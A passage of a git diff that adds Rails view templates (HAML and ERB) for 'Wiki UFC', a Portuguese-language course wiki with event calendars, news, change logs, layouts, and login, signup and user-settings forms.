'event', 'time' + + %dt + %label{:for => "event_description"} Descrição + %dd= preserve(text_area('event', 'description', :rows => 6)) + diff --git a/app/views/events/edit.html.haml b/app/views/events/edit.html.haml new file mode 100644 index 0000000..623ffcd --- /dev/null +++ b/app/views/events/edit.html.haml @@ -0,0 +1,7 @@ +%h4.title= h(@course.full_name) +%h1.title Editar evento + +%p + - form_tag course_event_url(@course, @event), :method => :put do + = render :partial => 'form' + = submit_tag 'Editar' diff --git a/app/views/events/index.html.haml b/app/views/events/index.html.haml new file mode 100644 index 0000000..ff1da13 --- /dev/null +++ b/app/views/events/index.html.haml @@ -0,0 +1,39 @@ +- cache do + + - last_event = nil + + .cmd + = action_icon 'add', 'Adicionar evento', new_course_event_url + + %h4.title= h(@course.full_name) + %h1.title Calendário + + .box.div_calendario + + - @events.each do |event| + - if last_event != event.date + = "" if last_event + .date= event.date.strftime("%d de %B") + = "
    " + + %li[event] + .time= event.time.strftime("%H:%M") + = link_to h(event.title), course_event_url(@course, event) + + %div.description{:style => (event.id == params[:id].to_i ? '' : 'display: none')} + %div.cmd{:style => "height: 27px; margin-top: -27px;"} + = action_icon 'edit', 'Editar', edit_course_event_url(@course, event) + = action_icon 'trash', 'Excluir', course_event_url(@course, event), :confirm => 'Tem certeza que deseja excluir?', :method => :delete + = h(event.description) + = "Sem descrição" if event.description.empty? + + - last_event = event.date + + = "
" if !@events.empty? + + - if @events.empty? + .box + %ul + %li.grey Nenhum evento + + %br diff --git a/app/views/events/new.html.haml b/app/views/events/new.html.haml new file mode 100644 index 0000000..881a181 --- /dev/null +++ b/app/views/events/new.html.haml @@ -0,0 +1,7 @@ +%h4.title= @course.full_name +%h1.title Adicionar evento + +%p + - form_tag course_event_url(@course, @event), :method => :post do + = render :partial => 'form' + = submit_tag "Adicionar" diff --git a/app/views/events/show.html.haml b/app/views/events/show.html.haml new file mode 100644 index 0000000..4371609 --- /dev/null +++ b/app/views/events/show.html.haml @@ -0,0 +1,2 @@ +- @events = @course.events += render 'events/index' diff --git a/app/views/layouts/attachments.html.haml b/app/views/layouts/attachments.html.haml new file mode 100644 index 0000000..099734b --- /dev/null +++ b/app/views/layouts/attachments.html.haml @@ -0,0 +1,15 @@ +- @title = "#{App.title} - #{h(@course.full_name)}" +- @location = capture do + = link_to(App.title, "/") + "›" + = link_to("Disciplinas", courses_url) + "›" + = link_to(h(@course.full_name), course_url(@course)) + "›" + = link_to("Arquivos", course_url(@course)) + - if @attachment.id + = "›" + link_to(truncate(h(@attachment.file_name)), course_attachment_url) + - @title = @title + " - #{truncate(h(@attachment.file_name))}" + +- @left_panel = render 'courses/_left_panel' +- @right_panel = render 'courses/_right_panel' +- @content = yield + += render 'layouts/base' diff --git a/app/views/layouts/base.html.haml b/app/views/layouts/base.html.haml new file mode 100644 index 0000000..c31ec4a --- /dev/null +++ b/app/views/layouts/base.html.haml @@ -0,0 +1,47 @@ + +!!! XML +!!! +%html + %head + %title= @title || App.title + %meta{'name' => 'robots', :content => 'noindex,nofollow'} + %meta{'http-equiv' => 'Content-Type', 'content' => 'text/html; charset=UTF-8'} + %link{'href' => "/stylesheets/wiki.css", 'rel' => 'Stylesheet', 'type' => %'text/css'} + %link#css_color{'href' => "/stylesheets/themes/color.#@color.css", 'rel' => 'Stylesheet', 'type' => %'text/css'} + = javascript_include_merged :base + + %body{'onload' => 'javascript: startup()'} + #wrapper + #header + %h1= "Wiki UFC" + + #header_menu + %ul + - if logged_in? + %li.grey= "Logged in as {u}"[:logged_in_as, h(@current_user.display_name)] + %li.last= link_to 'Logout', logout_path + - else + %li= link_to 'Cadastrar', signup_path + %li.last= link_to 'Login', login_path + + #strip + + #location + = flash_div + = @location + + #site + %div + - if @right_panel.nil? + .float_panel_left= @left_panel + #innerwrapper_2column + .content= @content + - else + .float_panel_left= @left_panel + .float_panel_right= @right_panel + #innerwrapper_3column + .content= @content + %br{'style' => 'clear:both'} + + #footer + diff --git a/app/views/layouts/courses.html.haml b/app/views/layouts/courses.html.haml new file mode 100644 index 0000000..a3e0019 --- /dev/null +++ b/app/views/layouts/courses.html.haml @@ -0,0 +1,20 @@ +- @title = "#{App.title}" +- @location = capture do + = link_to(App.title, "/") + "›"; + = link_to("Disciplinas", courses_url) + - if @course and @course.id + = "› " + link_to(h(@course.full_name), course_url) + - @title = @title + " - #{h(@course.full_name)}" + - else + - @title = @title + " - Disciplinas" + +- if @course and @course.id +- @left_panel = render 'courses/_left_panel' +- @right_panel = render 'courses/_right_panel' +- else +- @left_panel = render('widgets/menu_navigation') + render('widgets/menu_user') +- end + +- @content = yield + += render 'layouts/base' diff --git a/app/views/layouts/events.html.haml b/app/views/layouts/events.html.haml new file mode 100644 index 0000000..a2efb03 --- /dev/null +++ b/app/views/layouts/events.html.haml @@ -0,0 +1,12 @@ +- @title = "#{App.title} - #{h(@course.full_name)} - Calendário" +- @location = capture do + = link_to(App.title, "/") + "›" + = link_to("Disciplinas", courses_url) + "›" + = link_to(h(@course.full_name), course_url(@course)) + "›" + = link_to("Calendário", course_events_url) + +- @left_panel = render 'courses/_left_panel' +- @right_panel = render 'courses/_right_panel' +- @content = yield + += render 'layouts/base' diff --git a/app/views/layouts/log.html.haml b/app/views/layouts/log.html.haml new file mode 100644 index 0000000..56a8a39 --- /dev/null +++ b/app/views/layouts/log.html.haml @@ -0,0 +1,11 @@ +- @title = "#{App.title} - #{h(@course.full_name)} - Mudanças recentes" +- @location = capture do + = link_to(App.title, "/") + "›" + = link_to("Disciplinas", courses_url) + "›" + = link_to(h(@course.full_name), course_url(@course)) + "›" + = link_to("Log", course_log_url(@course)) + +- @left_panel = render 'courses/_left_panel' +- @content = yield + += render 'layouts/base' diff --git a/app/views/layouts/news.html.haml b/app/views/layouts/news.html.haml new file mode 100644 index 0000000..0a1ae24 --- /dev/null +++ b/app/views/layouts/news.html.haml @@ -0,0 +1,12 @@ +- @title = "#{App.title} - #{h(@course.full_name)} - Notícias" +- @location = capture do + = link_to(App.title, "/") + "›" + = link_to("Disciplinas", courses_url) + "›" + = link_to(h(@course.full_name), course_url(@course)) + "›" + = link_to("Noticias", course_news_index_url(@course)) + +- @left_panel = render 'courses/_left_panel' +- @right_panel = render 'courses/_right_panel' +- @content = yield + += render 'layouts/base' diff --git a/app/views/layouts/users.html.haml b/app/views/layouts/users.html.haml new file mode 100644 index 0000000..ed2ce4e --- /dev/null +++ b/app/views/layouts/users.html.haml @@ -0,0 +1,12 @@ +- @title = App.title +- @location = capture do + = link_to(App.title, "/") + "›"; + = link_to("Usuários", users_path) + - if @user and @user.id + = "› " + link_to(h(@user.name), user_url(@user)) + - @title = @title + " - #{h(@user.display_name)}" + +- @left_panel = render('widgets/menu_navigation') + render('widgets/menu_user') +- @content = yield + += render 'layouts/base' diff --git a/app/views/layouts/wiki.html.haml b/app/views/layouts/wiki.html.haml new file mode 100644 index 0000000..36fc72e --- /dev/null +++ b/app/views/layouts/wiki.html.haml @@ -0,0 +1,14 @@ +- @title = "#{App.title} - #{h(@course.full_name)}" +- @location = capture do + = link_to(App.title, "/") + "›" + = link_to("Disciplinas", courses_url) + "›" + = link_to(h(@course.full_name), course_url(@course)) + "›" + = link_to("Wiki", course_url(@course)) + - if @wiki_page.title + = "›" + link_to(h(@wiki_page.title), course_wiki_url(@course, @wiki_page)) + - @title = @title + " - #{h(@wiki_page.title)}" + +- @left_panel = render 'courses/_left_panel' +- @content = yield + += render 'layouts/base' diff --git a/app/views/log/_attachment_log_entry.html.haml b/app/views/log/_attachment_log_entry.html.haml new file mode 100644 index 0000000..1961f45 --- /dev/null +++ b/app/views/log/_attachment_log_entry.html.haml @@ -0,0 +1,6 @@ += "Anexo " + link_to(h(entry.attachment.file_name), course_attachment_url(@course, entry.attachment)) + += "criado " if entry.kind_of?(AttachmentCreateLogEntry) += "editado " if entry.kind_of?(AttachmentEditLogEntry) += "excluído " if entry.kind_of?(AttachmentDeleteLogEntry) += "restaurado " if entry.kind_of?(AttachmentRestoreLogEntry) diff --git a/app/views/log/_event_log_entry.html.haml b/app/views/log/_event_log_entry.html.haml new file mode 100644 index 0000000..7cb855d --- /dev/null +++ b/app/views/log/_event_log_entry.html.haml @@ -0,0 +1,6 @@ += "Evento " + link_to(h(entry.event.title), course_event_url(@course, entry.event)) + += "criado " if entry.kind_of?(EventCreateLogEntry) += "editado " if entry.kind_of?(EventEditLogEntry) += "excluído " if entry.kind_of?(EventDeleteLogEntry) += "restaurado " if entry.kind_of?(EventRestoreLogEntry) diff --git a/app/views/log/_news_log_entry.html.haml b/app/views/log/_news_log_entry.html.haml new file mode 100644 index 0000000..53ff72e --- /dev/null +++ b/app/views/log/_news_log_entry.html.haml @@ -0,0 +1,6 @@ += "Notícia " + link_to(h(entry.news.title), course_news_url(@course, entry.news)) + += "criada " if entry.kind_of?(NewsCreateLogEntry) += "editada " if entry.kind_of?(NewsEditLogEntry) += "excluída " if entry.kind_of?(NewsDeleteLogEntry) += "restaurada " if entry.kind_of?(NewsRestoreLogEntry) diff --git a/app/views/log/_wiki_log_entry.html.haml b/app/views/log/_wiki_log_entry.html.haml new file mode 100644 index 0000000..56b824a --- /dev/null +++ b/app/views/log/_wiki_log_entry.html.haml @@ -0,0 +1,13 @@ += "Página " + link_to(h(entry.wiki_page.versions.last.title), course_wiki_url(@course, entry.wiki_page.id, :version => entry.wiki_page.version)) + += "criada " if entry.kind_of?(WikiCreateLogEntry) += "editada " if entry.kind_of?(WikiEditLogEntry) += "excluída " if entry.kind_of?(WikiDeleteLogEntry) += "restaurada " if entry.kind_of?(WikiRestoreLogEntry) + +- if entry.kind_of?(WikiEditLogEntry) + - if entry.wiki_page.description and !entry.wiki_page.description.empty? + = "(#{h(entry.wiki_page.description)})" + = "(" + link_to("diff", diff_course_wiki_url(@course, entry.wiki_page.id, :from => entry.wiki_page.version - 1, :to => entry.wiki_page.version)) + ")" + = "(" + link_to("edit", edit_course_wiki_url(@course, entry.wiki_page.id, :description => "Revertendo para versão #{entry.wiki_page.version}", :version => entry.wiki_page.version)) + ")" + = "(" + link_to("undo", edit_course_wiki_url(@course, entry.wiki_page.id, :description => "Revertendo para versão #{entry.wiki_page.version-1}", :version => entry.wiki_page.version - 1)) + ")" diff --git a/app/views/log/index.html.haml b/app/views/log/index.html.haml new file mode 100644 index 0000000..bc3623d --- /dev/null +++ b/app/views/log/index.html.haml @@ -0,0 +1,18 @@ +%h4.title= h(@course.full_name) +%h1.title Mudanças recentes + +%table.log + %tr + %th Data + %th Usuário + %th Descrição + - @log_entries.each do |entry| + %tr + %td= entry.created_at.strftime("%d/%m/%y %H:%M:%S") + %td= link_to truncate(h(entry.user.display_name), 20), user_path(entry.user) + %td + = render(:partial => 'log/attachment_log_entry', :locals => { :entry => entry }) if entry.kind_of?(AttachmentLogEntry) + = render(:partial => 'log/event_log_entry', :locals => { :entry => entry }) if entry.kind_of?(EventLogEntry) + = render(:partial => 'log/news_log_entry', :locals => { :entry => entry }) if entry.kind_of?(NewsLogEntry) + = render(:partial => 'log/wiki_log_entry', :locals => { :entry => entry }) if entry.kind_of?(WikiLogEntry) + = "(" + link_to("undo", undo_course_log_url(@course, entry)) + ")" if entry.reversible? diff --git a/app/views/news/_form.html.haml b/app/views/news/_form.html.haml new file mode 100644 index 0000000..64493f5 --- /dev/null +++ b/app/views/news/_form.html.haml @@ -0,0 +1,10 @@ += error_messages_for 'news' + +%dl + %dt + %label{:for => "news_title"} Título + %dd= text_field 'news', 'title' + + %dt + %label{:for => "news_body"} Descrição + %dd= preserve(text_area('news', 'body')) diff --git a/app/views/news/edit.html.haml b/app/views/news/edit.html.haml new file mode 100644 index 0000000..9bb1c9d --- /dev/null +++ b/app/views/news/edit.html.haml @@ -0,0 +1,7 @@ +%h4.title= h(@course.full_name) +%h1.title Editar noticia + +%p + - form_tag course_news_url(@course, @news), :method => :put do + = render :partial => 'form' + = submit_tag 'Editar' diff --git a/app/views/news/index.html.haml b/app/views/news/index.html.haml new file mode 100644 index 0000000..508344f --- /dev/null +++ b/app/views/news/index.html.haml @@ -0,0 +1,28 @@ +- cache do + + .cmd + = action_icon 'add', 'Adicionar', new_course_news_url + + %h4.title= h(@course.full_name) + %h1.title Notícias + + = auto_discovery_link_tag :rss, formatted_course_news_index_url(@course, :rss) + + .news + - @course.news.each do |n| + .line{:class => 'new', :id => "news_#{n.id}"} + .cmd{:style => (n.id == params[:id].to_i ? '' : 'display: none')} + = action_icon 'edit', 'Editar', edit_course_news_url(@course, n) + = action_icon 'trash', 'Excluir', course_news_url(@course, n), :confirm => 'Tem certeza que deseja excluir?', :method => :delete + + .left= n.timestamp.strftime("%d de %B") + %h4 + = link_to h(n.title), course_news_url(@course, n) + + %p{:style => (n.id == params[:id].to_i ? '' : 'display: none')} + = h(n.body) + + - if @course.news.empty? + .box + %ul + %li.grey Nenhuma notícia diff --git a/app/views/news/index.rss.builder b/app/views/news/index.rss.builder new file mode 100644 index 0000000..705674a --- /dev/null +++ b/app/views/news/index.rss.builder @@ -0,0 +1,18 @@ +xml.instruct! :xml, :version=>"1.0" +xml.rss(:version=>"2.0") do + xml.channel do + xml.title("#{App.title} - #{@course.full_name} - " + "News"[].titleize) + xml.link(course_news_index_url(@course)) + xml.language(App.language) + xml.description("{course} news"[:news_about, @course.full_name]) + for news_item in @news + xml.item do + xml.title(news_item.title) + xml.description(news_item.body) + xml.pubDate(news_item.timestamp.rfc2822) + xml.link(course_news_url(@course, news_item)) + xml.guid(course_news_url(@course, news_item)) + end + end + end +end diff --git a/app/views/news/new.html.haml b/app/views/news/new.html.haml new file mode 100644 index 0000000..6de7020 --- /dev/null +++ b/app/views/news/new.html.haml @@ -0,0 +1,6 @@ +%h4.title= @course.full_name +%h1.title Adicionar evento + +- form_tag course_news_url(@course, @news), :method => :post do + = render :partial => 'form' + = submit_tag "Enviar" diff --git a/app/views/news/show.html.haml b/app/views/news/show.html.haml new file mode 100644 index 0000000..c04d401 --- /dev/null +++ b/app/views/news/show.html.haml @@ -0,0 +1 @@ += render 'news/index' diff --git a/app/views/notifications/forgot_password.html.erb b/app/views/notifications/forgot_password.html.erb new file mode 100644 index 0000000..68ec496 --- /dev/null +++ b/app/views/notifications/forgot_password.html.erb @@ -0,0 +1,9 @@ +_____________ + + +Seu nome de usuário é <%= h(@login) %>. E seu novo password é <%= h(@pass) %>. +Faça o seu Login e mude para algo mais fácil de ser memorizado. + + +Wiki Ufc +------------- diff --git a/app/views/stylesheets/color.css.erb b/app/views/stylesheets/color.css.erb new file mode 100644 index 0000000..fb04038 --- /dev/null +++ b/app/views/stylesheets/color.css.erb @@ -0,0 +1,38 @@ +<% color = App.color_schemes[@color] || App.color_schemes[App.default_color] %> + +a { + color: <%= color[1] %>; +} + +a:hover { + border-bottom: 1px dotted <%= color[1] %>; +} + +h1, h2, h3, h4, h5, th { + color: <%= color[2] %>; +} + +#header { + background-color: <%= color[0] %>; +} + +#header_menu { + background-color: <%= color[0] %>; +} + +#header_menu ul li { + border-right: 1px solid <%= color[0] %>; +} + +#strip { + background-color: <%= color[0] %>; +} + +#footer { + background-color: <%= color[3] %>; + border-top: 5px solid <%= color[3] %>; +} + +.icon img:hover { + background-color: <%= color[1] %>; +} diff --git a/app/views/user/change_password.html.erb b/app/views/user/change_password.html.erb new file mode 100644 index 0000000..e2fe8ec --- /dev/null +++ b/app/views/user/change_password.html.erb @@ -0,0 +1,18 @@ +

<%= App.title %>

+

Alterar senha

+ +

+<%= error_messages_for 'user' %>
+ +<% form_tag :action => 'change_password' do %> + +
+<%= password_field "user", "password", :size => 20, :value=>"" %>
+ +
+<%= password_field "user", "password_confirmation", :size => 20, :value=>"" %>
+
+<%= submit_tag "Enviar" %> + +<% end %> + diff --git a/app/views/user/edit.html.erb b/app/views/user/edit.html.erb new file mode 100644 index 0000000..90caaf2 --- /dev/null +++ b/app/views/user/edit.html.erb @@ -0,0 +1,54 @@ +

<%= App.title %>

+

Editar Preferências

+ +

+<%= error_messages_for 'user' %>
+ +<% form_tag :action => 'update', :id => @user do %> + +
+<%= text_field "user", "name", :size => 20 %>
+ +
+<%= text_field "user", "email", :size => 20 %>

+ + +
+<%= password_field "user", "password", {:value => "", :size => 20, :id => 'password'} %>
+ +
+<%= password_field "user", "password_confirmation", {:value => "", :size => 20} %>
+ +

 

+ +
+<%= select_tag("user[pref_color]", options_for_select( { +"Preto" => 0, +"Verde (Claro)" => 1, +"Azul (Claro)" => 2, +"Lilás" => 3, +"Vermelho/Cinza" => 4, +"Verde-limão" => 5, +"Azul (Padrão)" => 6, +"Vermelho" => 7, +"Azul/Laranja" => 8, +"Verde/Vermelho" => 9, +"Pink" => 10, +"Roxo" => 11, +"Vinho" => 12, + }.sort)) %>

+ +
+<% Course.find(:all).each do |course| %> + <%= check_box_tag("user[course_ids][]", course.id, @user.courses.include?(course)) %> + <%= h(course.full_name) %>
+<% end %> + + +

+ +<%= submit_tag "Editar" %> + +<% end %>

+

+ diff --git a/app/views/user/forgot_password.html.erb b/app/views/user/forgot_password.html.erb new file mode 100644 index 0000000..a7798b4 --- /dev/null +++ b/app/views/user/forgot_password.html.erb @@ -0,0 +1,15 @@ +

<%= App.title %>

+

Recuperar senha

+ +

+<%= error_messages_for 'user' %>
+ +<% form_tag :action=>'forgot_password' do %> + +Email
+<%= text_field "user","email" %>

+ +<%= submit_tag 'Enviar nova senha' %> + +<% end %> +

diff --git a/app/views/user/login.html.erb b/app/views/user/login.html.erb new file mode 100644 index 0000000..f6f7627 --- /dev/null +++ b/app/views/user/login.html.erb @@ -0,0 +1,21 @@ +

<%= App.title %>

+

Login

+ +

+<%= error_messages_for 'user' %>
+ +<% form_tag :action=> "login" do %> + +
+<%= text_field "user", "login", :size => 20 %>
+ +
+<%= password_field "user", "password", :size => 20 %>
+ +<%= submit_tag "Login" %>

+ +<%= link_to 'Criar conta', :action => 'signup' %> | +<%= link_to 'Recuperar senha', :action => 'forgot_password' %> + +<% end %> +

diff --git a/app/views/user/rss.xml.builder b/app/views/user/rss.xml.builder new file mode 100644 index 0000000..28bfcf2 --- /dev/null +++ b/app/views/user/rss.xml.builder @@ -0,0 +1,13 @@ +xml.instruct! :xml, :version=>"1.0" +xml.instruct! :rss, :version=>"2.0" +xml.channel{ + for course in @courses + for event in course.events + xml.item do + xml.title("[" + course.short_name + "] " + event.title) + xml.pubDate(Time.parse(event.date.to_s).rfc822) + xml.description(event.description) + end + end + end +} diff --git a/app/views/user/show.html.erb b/app/views/user/show.html.erb new file mode 100644 index 0000000..87fa740 --- /dev/null +++ b/app/views/user/show.html.erb @@ -0,0 +1,84 @@ +<% last_event = nil %> + +
+ <%= link_to 'preferências', :action => 'edit'%> +
+ +

Página Pessoal

+

Bem vindo, <%= h(@user.name) %>

+ + +
+

Notícias

+<% @news_messages.each do |n| %> +
+

<%= n.timestamp.strftime("%d de %B") %>

+

<%= link_to h(n.course.full_name) , course_news_url(n.course, n) %> › + <%= h(n.title) %>

+ + +
+<% end %> +
+ + + + +
+
+ <%= link_to 'rss', :action => 'rss', :login => h(@user.login)%> + <%= link_to 'icalendar', :controller => 'events', :action => 'icalendar'%> +
+

Calendário

+ + <% @events.each do |event| %> + <% if last_event != event.date %> + <% if last_event %>
<% end %> +
<%= event.date.strftime("%d de %B") %>
+
    + <% end %> +
  • +
    <%= event.time.strftime("%H:%M") %>
    + <%= link_to h(event.course.full_name), course_event_url(event.course, event) %> › + <%= h(event.title) %> + + +
  • + <% last_event = event.date %> + <% end %> + <%= "
" if !@events.empty? %> + + + + + + +
+

Disciplinas Matriculadas

+
    + <% @user.courses.each do |course| %> +
  • <%= link_to h(course.full_name), course_url(course) %>
  • + <% end %> +
+
+ +

<%#= link_to 'Descadastrar usuário', :action => 'destroy'%>

diff --git a/app/views/user/signup.html.erb b/app/views/user/signup.html.erb new file mode 100644 index 0000000..e5674c2 --- /dev/null +++ b/app/views/user/signup.html.erb @@ -0,0 +1,58 @@ +

<%= App.title %>

+

Criar conta

+ +

+<% form_tag :action=> "signup" do %> + +<%= error_messages_for 'user' %>
+ +
+<%= text_field "user", "name", :size => 20 %>
+ +
+<%= text_field "user", "email", :size => 20 %>

+ +
+<%= text_field "user", "login", :size => 20 %>
+ +
+<%= password_field "user", "password", {:value => "", :size => 20, :id => 'password'} %>
+ +
+<%= password_field "user", "password_confirmation", {:value => "", :size => 20} %>
+ +

 

+ +    +<%= select_tag("user[pref_color]", options_for_select( { +"Preto" => 0, +"Verde (Claro)" => 1, +"Azul (Claro)" => 2, +"Lilás" => 3, +"Vermelho/Cinza" => 4, +"Verde-limão" => 5, +"Azul (Padrão)" => 6, +"Vermelho" => 7, +"Azul/Laranja" => 8, +"Verde/Vermelho" => 9, +"Pink" => 10, +"Roxo" => 11, +"Vinho" => 12, + }.sort)) %>


+ +
+<% @courses.each do |course| %> + <%= check_box_tag("user[course_ids][]", course.id, @user.courses.include?(course)) %> + <%= h(course.full_name) %>
+<% end %> + +<% if @courses.empty? %> + Nenhuma disciplina cadastrada
+<% end %> + +

+ +<%= submit_tag "Enviar" %> + +<% end %> +

diff --git a/app/views/users/_form_profile.html.haml b/app/views/users/_form_profile.html.haml new file mode 100644 index 0000000..bbfe625 --- /dev/null +++ b/app/views/users/_form_profile.html.haml @@ -0,0 +1,18 @@ += error_messages_for 'user' + +%dl + %dt + %label{:for => 'user_display_name'} Nome de Exibição + %dd= text_field('user', 'display_name') + + %dt + %label{:for => 'user_name'} Nome completo + %dd= text_field('user', 'name') + + %dt + %label{:for => 'user_description'} Descrição + %dd= text_area('user', 'description', { :rows => 10 }) + + - if admin? + %dt= check_box_tag('user[admin]', 1, @user.admin?) + " Administrador" + diff --git a/app/views/users/_form_settings.html.haml b/app/views/users/_form_settings.html.haml new file mode 100644 index 0000000..2bd38b5 --- /dev/null +++ b/app/views/users/_form_settings.html.haml @@ -0,0 +1,37 @@ += javascript_include_tag 'color' += error_messages_for 'user' + +%dl + - if defined?(signup) and signup + %dt + %label{:for => 'user_login'} Login + %dd= text_field('user', 'login') + + %dt + %label{:for => 'user_name'} Nome completo + %dd= text_field('user', 'name') + + %dt + %label{:for => 'user_display_name'} Nome de exibição + %dd= text_field('user', 'display_name') + + %dt + %laber{:for => 'user_email'} Email + %dd= text_field('user', 'email') + + + %dt + %label{:for => 'user_password'} Senha + %dd= password_field('user', 'password', {:value => '', :id => 'password'}) + + %dt + %label{:for => 'user_password_confirmation'} Confirmação de Senha + %dd= password_field('user', 'password_confirmation', {:value => ''}) + + #passmeter   + + %dt + %label{:for => 'user_color_pref'} Esquema de cores + = render :partial => 'widgets/color', :collection => App.color_schemes + %br.clear + diff --git a/app/views/users/_form_signup.html.haml b/app/views/users/_form_signup.html.haml new file mode 100644 index 0000000..5fd94b2 --- /dev/null +++ b/app/views/users/_form_signup.html.haml @@ -0,0 +1,35 @@ += javascript_include_tag 'color' += error_messages_for 'user' + +%dl + %dt + %label{:for => 'user_login'} Login + %dd= text_field('user', 'login') + + %dt + %label{:for => 'user_name'} Nome Completo + %dd= text_field('user', 'name') + + %dt + %label{:for => 'user_display_name'} Nome de exibição (apelido) + %dd= text_field('user', 'display_name') + + %dt + %laber{:for => 'user_email'} Email + %dd= text_field('user', 'email') + + + %dt + %label{:for => 'user_password'} Senha + %dd= password_field('user', 'password', {:value => '', :id => 'password'}) + + %dt + %label{:for => 'user_password_confirmation'} Confirmação de Senha + %dd= password_field('user', 'password_confirmation', {:value => ''}) + + #passmeter   + + %dt + %label{:for => 'user_color_pref'} Esquema de cores + = render :partial => 'widgets/color', :collection => App.color_schemes + %br.clear diff --git a/app/views/users/_user.html.haml b/app/views/users/_user.html.haml new file mode 100644 index 0000000..887021a --- /dev/null +++ b/app/views/users/_user.html.haml @@ -0,0 +1 @@ +%li= link_to h(user.name), user_path(user) diff --git a/app/views/users/dashboard.html.erb b/app/views/users/dashboard.html.erb new file mode 100644 index 0000000..c11200d --- /dev/null +++ b/app/views/users/dashboard.html.erb @@ -0,0 +1,49 @@ +<% last_event = nil %> + +

Dashboard

+

Bem vindo, <%= h(@current_user.display_name) %>

+ + +
+

Notícias recentes

+<% @news.each do |n| %> +
+

<%= n.timestamp.strftime("%d de %B") %>

+

<%= link_to h(n.course.full_name) , course_url(n.course) %> › + <%= link_to h(n.title), course_news_url(n.course, n) %>

+
+<% end %> +
+ + +
+

Próximos eventos

+ + <% @events.each do |event| %> + <% if last_event != event.date %> + <% if last_event %>
<% end %> +
<%= event.date.strftime("%d de %B") %>
+
    + <% end %> +
  • +
    <%= event.time.strftime("%H:%M") %>
    + <%= link_to h(event.course.full_name), course_url(event.course) %> › + <%= link_to h(event.title), course_event_url(event.course, event) %> +
  • + <% last_event = event.date %> + <% end %> + <%= "
" if !@events.empty? %> + + + + +
+

Disciplinas Matriculadas

+
    + <% @current_user.courses.each do |course| %> +
  • <%= link_to h(course.full_name), course_url(course) %>
  • + <% end %> +
+
+ +

<%#= link_to 'Descadastrar usuário', :action => 'destroy'%>

diff --git a/app/views/users/edit.html.haml b/app/views/users/edit.html.haml new file mode 100644 index 0000000..2133361 --- /dev/null +++ b/app/views/users/edit.html.haml @@ -0,0 +1,13 @@ += javascript_include_tag 'wiki' + +%h4.title Usuários +%h1.title Editar perfil + +%p + - form_tag user_path(@user.id), :method => 'put' do + = render :partial => 'form_profile' + = submit_tag 'Editar' + %button#show_preview{:type => "button"} + Visualizar + = image_tag "loading.gif", :class => "spinner_button", :id => "spinner_preview", :style => "display: none" + #wiki_preview{:style => "display: none"} diff --git a/app/views/users/index.html.haml b/app/views/users/index.html.haml new file mode 100644 index 0000000..a1331eb --- /dev/null +++ b/app/views/users/index.html.haml @@ -0,0 +1,7 @@ +- cache do + %h4.title= App.title + %h1.title Usuários + + .box + %ul + = render :partial => @users diff --git a/app/views/users/login.html.haml b/app/views/users/login.html.haml new file mode 100644 index 0000000..6f27178 --- /dev/null +++ b/app/views/users/login.html.haml @@ -0,0 +1,25 @@ +%h4.title= App.title +%h1.title Login + +%p + = error_messages_for :user + + - form_tag login_path do + %dl + %dt + %label{:for => 'user_login'} Login + %dd= text_field "user", "login" + + %dt + %label{:for => 'user_password'} Senha + %dd= password_field "user", "password" + + %dt + = check_box_tag('remember_me', 1) + %label{:for => 'remember_me'} Lembrar de mim neste computador + + = submit_tag 'Login' + + %br + = link_to 'Criar nova conta', signup_path + =# link_ro 'Recuperar senha', recover_password_path diff --git a/app/views/users/settings.html.haml b/app/views/users/settings.html.haml new file mode 100644 index 0000000..597bb76 --- /dev/null +++ b/app/views/users/settings.html.haml @@ -0,0 +1,7 @@ +%h4.title Usuários +%h1.title Editar configurações + +%p + - form_tag settings_url do + = render :partial => 'form_settings' + = submit_tag 'Editar' diff --git a/app/views/users/show.html.haml b/app/views/users/show.html.haml new file mode 100644 index 0000000..753b8d4 --- /dev/null +++ b/app/views/users/show.html.haml @@ -0,0 +1,14 @@ +- cache do + #users + .cmd + = action_icon('edit', 'Editar perfil', edit_user_url) if admin? or @current_user == @user + /= action_icon 'trash', 'Excluir usuário', user_url, :confirm => 'Tem certeza que deseja excluir?', :method => :delete + + .card + %img.avatar{:src => gravatar_url_for(@user.email)} + %h1.title= h(@user.display_name) + %p= h(@user.name) + %p= "Membro desde {c}"[:member_since, @user.created_at.strftime("%d de %B de %Y")] + %p= "Última visita há {c}"[:last_seen, distance_of_time_in_words(Time.now, @user.last_seen)] + + = wiki @user.description if !@user.description.blank? diff --git a/app/views/users/signup.html.haml b/app/views/users/signup.html.haml new file mode 100644 index 0000000..228f336 --- /dev/null +++ b/app/views/users/signup.html.haml @@ -0,0 +1,7 @@ +%h4.title= App.title +%h1.title Nova conta + +%p + - form_tag signup_path do + = render :partial => 'form_settings', :locals => { :signup => true } + = submit_tag 'Criar' diff --git a/app/views/widgets/_color.html.haml b/app/views/widgets/_color.html.haml new file mode 100644 index 0000000..77db198 --- /dev/null +++ b/app/views/widgets/_color.html.haml @@ -0,0 +1,4 @@ +.color_theme + = radio_button('user', 'pref_color', App.color_schemes.index(color), :class => 'color_radio') + - color.each do |c| + .color_box{:style => "background-color: #{c}"}   diff --git a/app/views/widgets/calendario.html.erb b/app/views/widgets/calendario.html.erb new file mode 100644 index 0000000..a9f2c72 --- /dev/null +++ b/app/views/widgets/calendario.html.erb @@ -0,0 +1,100 @@ + +<% if not @ajax %> + + +<% end -%> + +<% if not @ajax -%> + +<% end -%> + diff --git a/app/views/widgets/menu_disciplina.html.erb b/app/views/widgets/menu_disciplina.html.erb new file mode 100644 index 0000000..b424fb1 --- /dev/null +++ b/app/views/widgets/menu_disciplina.html.erb @@ -0,0 +1,10 @@ + + diff --git a/app/views/widgets/menu_navigation.html.haml b/app/views/widgets/menu_navigation.html.haml new file mode 100644 index 0000000..6200b49 --- /dev/null +++ b/app/views/widgets/menu_navigation.html.haml @@ -0,0 +1,5 @@ +.menu + %h1= App.title + %ul + %li= link_to "Courses"[].titleize, courses_url + %li= link_to "Users"[].titleize, users_url diff --git a/app/views/widgets/menu_user.html.haml b/app/views/widgets/menu_user.html.haml new file mode 100644 index 0000000..1655b9f --- /dev/null +++ b/app/views/widgets/menu_user.html.haml @@ -0,0 +1,7 @@ +- if session[:user_id] + .menu + %h1= "User"[].titleize + %ul + /%li= link_to "Dashboard"[].titleize, dashboard_path + %li= link_to("User profile"[].titleize, user_url(session[:user_id])) + %li= link_to("Edit settings"[].titleize, settings_url) diff --git a/app/views/widgets/news.html.erb b/app/views/widgets/news.html.erb new file mode 100644 index 0000000..01a7924 --- /dev/null +++ b/app/views/widgets/news.html.erb @@ -0,0 +1,22 @@ + + diff --git a/app/views/widgets/shoutbox.html.erb b/app/views/widgets/shoutbox.html.erb new file mode 100644 index 0000000..1237103 --- /dev/null +++ 